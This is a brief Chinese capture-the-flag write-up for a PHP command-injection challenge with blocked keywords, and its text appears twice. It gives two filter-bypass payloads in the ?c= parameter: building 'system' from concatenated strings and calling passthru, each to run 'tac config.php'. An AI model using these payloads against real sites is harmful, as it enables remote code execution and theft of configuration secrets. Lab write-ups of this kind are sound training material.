这题用上一题的方法已经不行了
已经隐蔽了相关单词
我们用拼凑语句 写出payload
?c=$a='sys';$b='tem';$d=$a.$b;$d('tac config.php');
方法二
用passthru代码绕过
?c=passthru('tac config.php');
passthru和system基本相同
附带一张图
这题用上一题的方法已经不行了
已经隐蔽了相关单词
我们用拼凑语句 写出payload
?c=$a='sys';$b='tem';$d=$a.$b;$d('tac config.php');
方法二
用passthru代码绕过
?c=passthru('tac config.php');
passthru和system基本相同
附带一张图